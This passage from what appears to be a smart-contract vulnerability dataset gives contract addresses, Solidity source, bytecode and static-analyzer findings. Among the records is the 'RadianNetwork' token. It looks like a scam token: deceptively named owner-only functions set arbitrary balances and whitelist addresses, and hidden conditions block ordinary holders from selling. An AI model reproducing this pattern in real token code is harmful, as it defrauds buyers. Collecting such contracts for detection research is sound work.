8f55a4df523b3ef92918290030190a3505050565b6000828201838110156109d657600080fd5b9392505050565b600160a060020a03821615156109f257600080fd5b600254610a05908263ffffffff6109c416565b600255600160a060020a038216600090815260208190526040902054610a31908263ffffffff6109c416565b600160a060020a0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600160a060020a0382161515610a9c57600080fd5b600160a060020a038216600090815260208190526040902054811115610ac157600080fd5b600254610ad4908263ffffffff6108bb16565b600255600160a060020a038216600090815260208190526040902054610b00908263ffffffff6108bb16565b600160a060020a038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b600160a060020a0382166000908152600160209081526040808320338452909152902054811115610b8557600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054610bb9908263ffffffff6108bb16565b600160a060020a03831660009081526001602090815260408083203384529091529020556107808282610a87565b610bf860038263ffffffff610d2c16565b604051600160a060020a038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610c4060038263ffffffff610d6616565b604051600160a060020a038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b6000600160a060020a0382161515610c8e57600080fd5b50600160a060020a03166000908152602091909152604090205460ff1690565b600160a060020a0381161515610cc357600080fd5b600454604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0381161515610d4157600080fd5b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a0381161515610d7b57600080fd5b600160a060020a0316600090815260209190915260409020805460ff191690555600a165627a7a72305820bbedf10a674d8f0713dc1579a046181b14b3e73574951ba6c9fdb444fdb57d450029
{"success": true, "error": null, "results": {}}
7,158
0xd0834208c3a979b5febeb1a555b1b39e1cfeac1a
/* RADIAN is a revolutionary social media platform and Gaming Dapp designed to connect worldwide cryptocurrency users. Features RADIAN is packed with various features and functionalities tailored exclusively for the crypto space. Crypto Projects Listing For crypto projects to showcase their latest updates. Social Gamification Start earning RADNET and unite with your crypto buddies. Crypto Atmosphere Engage and interact with contents using crypto-themed gifts and emotes. Introducing RADNET RADNET is a ERC-20 utility token built on Ethereum Chain (cross-chain swapping will be enabled on Ethereum blockchain and Huobi Eco Chain in future) that acts as the payment medium for various features and functionalities, serving as the backbone of RADIAN's ecosystem.. Support Functionality Mission Rewards RADIAN's Mobile App RADIAN's upcoming app will allow everyone to stay updated with latest crypto news, trends and contents anyplace, anytime without a hassle. Stay tuned for our latest announcement! Our Future Development Future releases are scheduled to maximize RADNET's usability as RADIAN transforms into a comprehensive decentralized ecosystem. Advertisement Binding NFT Marketplace DeFi Staking Platform Mining Simulator Video Game Murot Marketplace Premium Subscription What RADIAN intends to provide A Token with Various Use Cases RADIAN's ERC-20 utility token - RADNET exists for a reason, and is spendable for users to engage in various features and functionalities. A Crypto-focused Atmosphere RADIAN is packed with crypto-themed features, suitable for both crypto enthusiasts and blockchain projects to nurture communities of similar interest. A Comprehensive Decentralized Ecosystem By prioritizing a scalable UI/UX, RADIAN aims to shape a comprehensive decentralized crypto ecosystem for the industry in the long run, with a social media platform as its foundation. Other Crypto Projects Native Cryptocurrencies with Minimal Usability Other than being used for trading and staking purposes, the native cryptocurrencies of most crypto projects do not seem to provide other significant use cases. Diverged yet Segregated Communities Crypto communities need to realize that unity and coexistence is the fastest way to revolutionize this immature industry and accelerate mass adoption effectively. Limited Exposure and Versatility Other than having difficulties to attain their desired target market precisely, most crypto projects failed to expand their user bases and communities due to having a limited extensibility. Key Feature – Hybrid security Block creation will be secured by a memory-hard, computationally complex POW model, followed by a random selection POS model. POW miners will propose new blocks to the network for acceptance. The network will deterministically select random stakers for attestation. Upon full attestation, the block will be accepted and the rewards distributed. Stakers will be required to lock funds for a specific period of time for an amount based upon a rolling average of total outstanding coins. Stakers will be rewarded for each random attestation they complete and will not be required to be “always on”. Frequent chain checkpoints will provide chainlock security to facilitate light clients, fast load times for full nodes and less rollback/fork risk. Benefits: POW mining provides high levels of decentralized security from disinterested third parties POS attestation provides low latenecy verification from vested parties who are likely diverse from miners POW/POS hybrid makes network attack essentially economically infeasible Key Feature – ASIC resistant POW The POW algorithm will employ a memory hard function with a pool size under 4GB to facilitate mining by the largest number of people possible. The memory hard function will epoch frequently. The POW process will involve numerous memory wide fetches from the memory pool coupled with a deterministic compute chain based upon the prior block hash. The compute chain will be optimized for unsigned 32-bit integer operations to ease coding difficulty on GPU hardware. Using this combination of features will ensure the highest level of ASIC resistance resulting in low levels of energy efficiency gain over general-purpose GPUs. Benefits: ASIC resistance secures the network by keeping POW mining decentralized */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract RadianNetwork { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820415f5574261dd0e04d3161e732b09b5fb2fd571040cec69dcfd8eff492214f3464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,159
0xff29b0b15a0a1da474bc9a132077153c53a2373b
pragma solidity ^0.4.21; // File: contracts/Oracle/DSAuth.sol contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // File: contracts/Oracle/DSMath.sol contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x * y) >= x); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x * y) >= x); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } // File: contracts/Oracle/DSNote.sol contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } // File: contracts/Oracle/DSThing.sol contract DSThing is DSAuth, DSNote, DSMath { } // File: contracts/Oracle/DSValue.sol contract DSValue is DSThing { bool has; bytes32 val; function peek() constant returns (bytes32, bool) { return (val,has); } function read() constant returns (bytes32) { var (wut, has) = peek(); assert(has); return wut; } function poke(bytes32 wut) note auth { val = wut; has = true; } function void() note auth { // unset the value has = false; } } // File: contracts/Oracle/Medianizer.sol contract Medianizer is DSValue { mapping (bytes12 => address) public values; mapping (address => bytes12) public indexes; bytes12 public next = 0x1; uint96 public min = 0x1; function set(address wat) auth { bytes12 nextId = bytes12(uint96(next) + 1); assert(nextId != 0x0); set(next, wat); next = nextId; } function set(bytes12 pos, address wat) note auth { if (pos == 0x0) throw; if (wat != 0 && indexes[wat] != 0) throw; indexes[values[pos]] = 0; // Making sure to remove a possible existing address in that position if (wat != 0) { indexes[wat] = pos; } values[pos] = wat; } function setMin(uint96 min_) note auth { if (min_ == 0x0) throw; min = min_; } function setNext(bytes12 next_) note auth { if (next_ == 0x0) throw; next = next_; } function unset(bytes12 pos) { set(pos, 0); } function unset(address wat) { set(indexes[wat], 0); } function poke() { poke(0); } function poke(bytes32) note { (val, has) = compute(); } function compute() constant returns (bytes32, bool) { bytes32[] memory wuts = new bytes32[](uint96(next) - 1); uint96 ctr = 0; for (uint96 i = 1; i < uint96(next); i++) { if (values[bytes12(i)] != 0) { var (wut, wuz) = DSValue(values[bytes12(i)]).peek(); if (wuz) { if (ctr == 0 || wut >= wuts[ctr - 1]) { wuts[ctr] = wut; } else { uint96 j = 0; while (wut >= wuts[j]) { j++; } for (uint96 k = ctr; k > j; k--) { wuts[k] = wuts[k - 1]; } wuts[j] = wut; } ctr++; } } } if (ctr < min) return (val, false); bytes32 value; if (ctr % 2 == 0) { uint128 val1 = uint128(wuts[(ctr / 2) - 1]); uint128 val2 = uint128(wuts[ctr / 2]); value = bytes32(wdiv(hadd(val1, val2), 2 ether)); } else { value = wuts[(ctr - 1) / 2]; } return (value, true); } } // File: contracts/Oracle/PriceFeed.sol /// price-feed.sol // Copyright (C) 2017 DappHub, LLC // Licensed under the Apache License, Version 2.0 (the "License"). // You may not use this file except in compliance with the License. // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied). contract PriceFeed is DSThing { uint128 val; uint32 public zzz; function peek() public view returns (bytes32, bool) { return (bytes32(val), now < zzz); } function read() public view returns (bytes32) { assert(now < zzz); return bytes32(val); } function post(uint128 val_, uint32 zzz_, address med_) public note auth { val = val_; zzz = zzz_; bool ret = med_.call(bytes4(keccak256("poke()"))); ret; } function void() public note auth { zzz = 0; } } // File: contracts/Oracle/PriceOracleInterface.sol /* This contract is the interface between the MakerDAO priceFeed and our DX platform. */ contract PriceOracleInterface { address public priceFeedSource; address public owner; bool public emergencyMode; event NonValidPriceFeed(address priceFeedSource); // Modifiers modifier onlyOwner() { require(msg.sender == owner); _; } /// @dev constructor of the contract /// @param _priceFeedSource address of price Feed Source -> should be maker feeds Medianizer contract function PriceOracleInterface( address _owner, address _priceFeedSource ) public { owner = _owner; priceFeedSource = _priceFeedSource; } /// @dev gives the owner the possibility to put the Interface into an emergencyMode, which will /// output always a price of 600 USD. This gives everyone time to set up a new pricefeed. function raiseEmergency(bool _emergencyMode) public onlyOwner() { emergencyMode = _emergencyMode; } /// @dev updates the priceFeedSource /// @param _owner address of owner function updateCurator( address _owner ) public onlyOwner() { owner = _owner; } /// @dev returns the USDETH price, ie gets the USD price from Maker feed with 18 digits, but last 18 digits are cut off function getUSDETHPrice() public returns (uint256) { // if the contract is in the emergencyMode, because there is an issue with the oracle, we will simply return a price of 600 USD if(emergencyMode){ return 600; } bytes32 price; bool valid=true; (price, valid) = Medianizer(priceFeedSource).peek(); if (!valid) { NonValidPriceFeed(priceFeedSource); } // ensuring that there is no underflow or overflow possible, // even if the price is compromised uint priceUint = uint256(price)/(1 ether); if (priceUint == 0) return 1; if (priceUint > 1000000) return 1000000; return priceUint; } }
0x6060604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630905f560811461007c5780630c6a62dd146100a35780638da5cb5b146100c45780639e385fa4146100f3578063a3ca17b21461010b578063c5ace44314610130575b600080fd5b341561008757600080fd5b61008f610143565b604051901515815260200160405180910390f35b34156100ae57600080fd5b6100c2600160a060020a0360043516610164565b005b34156100cf57600080fd5b6100d76101ae565b604051600160a060020a03909116815260200160405180910390f35b34156100fe57600080fd5b6100c260043515156101bd565b341561011657600080fd5b61011e610218565b60405190815260200160405180910390f35b341561013b57600080fd5b6100d7610347565b60015474010000000000000000000000000000000000000000900460ff1681565b60015433600160a060020a0390811691161461017f57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b60015433600160a060020a039081169116146101d857600080fd5b60018054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600080600080600160149054906101000a900460ff161561023d576102589350610341565b60005460019250600160a060020a03166359e02dd76040518163ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016040805180830381600087803b151561029857600080fd5b5af115156102a557600080fd5b50505060405180519060200180519194509092505081151561030b576000547f364c0d3d8c056dff125868f781751ed53d48fb1b927b60ab972436741b61e3c990600160a060020a0316604051600160a060020a03909116815260200160405180910390a15b50670de0b6b3a764000082048015156103275760019350610341565b620f424081111561033d57620f42409350610341565b8093505b50505090565b600054600160a060020a0316815600a165627a7a72305820f8abef9b2babdbe10fedaeefb2bd59b626990f86a15e167003c43e1744dcd05e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,160
0x160b047589fce1953e0f26f9dfec409b7d1d47ba
/** *Submitted for verification at Etherscan.io on 2021-07-18 */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); 